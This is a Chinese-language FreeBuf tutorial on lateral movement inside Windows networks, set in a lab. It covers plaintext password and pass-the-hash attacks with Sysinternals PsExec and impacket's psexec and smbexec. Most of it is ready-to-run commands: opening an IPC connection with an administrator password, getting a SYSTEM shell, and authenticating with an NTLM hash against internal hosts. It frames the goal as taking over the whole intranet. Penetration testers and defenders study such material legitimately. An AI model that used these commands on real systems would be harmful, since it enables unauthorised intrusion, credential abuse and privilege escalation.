内网渗透 | 多种传递攻击详解
本文由 创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载
在前面一篇文章已经对内网信息收集做了详细介绍，所需要的内网环境也包含在那篇文章中，接下来将以前期内网信息收集到的信息为基础介绍各种明文或hash传递攻击进行横向渗透。
在拿下一台内网主机后，利用既有的资源尝试获取更多的凭据、更高的权限，一步一步拿下更多的主机，进而达到控制整个内网、获取到最高权限、发动高级持续性威胁攻击的目的。我们掌握的方法越多，可能拿到的主机权限的机会就越大。
PsExec 最强大的功能之一是在远程系统和远程支持工具（如 ipconfig）中启动交互式命令提示窗口，以便显示无法通过其他方式显示的有关远程系统的信息，并且可以获得与控制台应用程序相当的完全交互性。PsExec的使用不需要对方主机开放3389端口，只需要对方开启admin$共享 (该共享默认开启)。由于PsExec是Windows提供的工具，所以杀毒软件将其列在白名单中。
下载地址：
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
主要有以下两种攻击方法
net use \\192.168.3.144\ip$ “admin!@#45” /uesr:administrator #建立IPC链接，出现下列弹框点击agree
psexec \\192.168.3.64 -s cmd cmd #-s,表示以system权限运行窗口，成功返回目标主机system权限窗口
psexec \\192.168.3.144 -u administrator -p admin!@#45 -s cmd
在这些情况下我们无法获取明文密码
Windows2012以上版本默认关闭wdigest，攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁，同样也会导致无法获取明文密码
Windows系统LM Hash及NTLM Hash加密算法，个人系统在windows vista后，服务器系统在windows2003以后，认证方式均为NTLM Hash
此时进行横向渗透测试使用官方自带的psexec行不通
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144
为了解决无法获取明文进行传递攻击的问题，使用非官方自带的psexec进行hash传递，虽说这个与上面的名字一样，但是这并不是微软自带的工具。
使用impacket工具包，操作简单，但由于非官方自带，很有可能被杀毒软件查杀。
下载地址：
https://github.com/maaaaz/impacket-examples-windows
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144
smbexec ./administrator:admin!@#45@192.168.3.144 链接本地组用户
smbexec ROOTKIT.ORG/administrator:admin!@#45@192.168.3.144 链接域内用户
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144
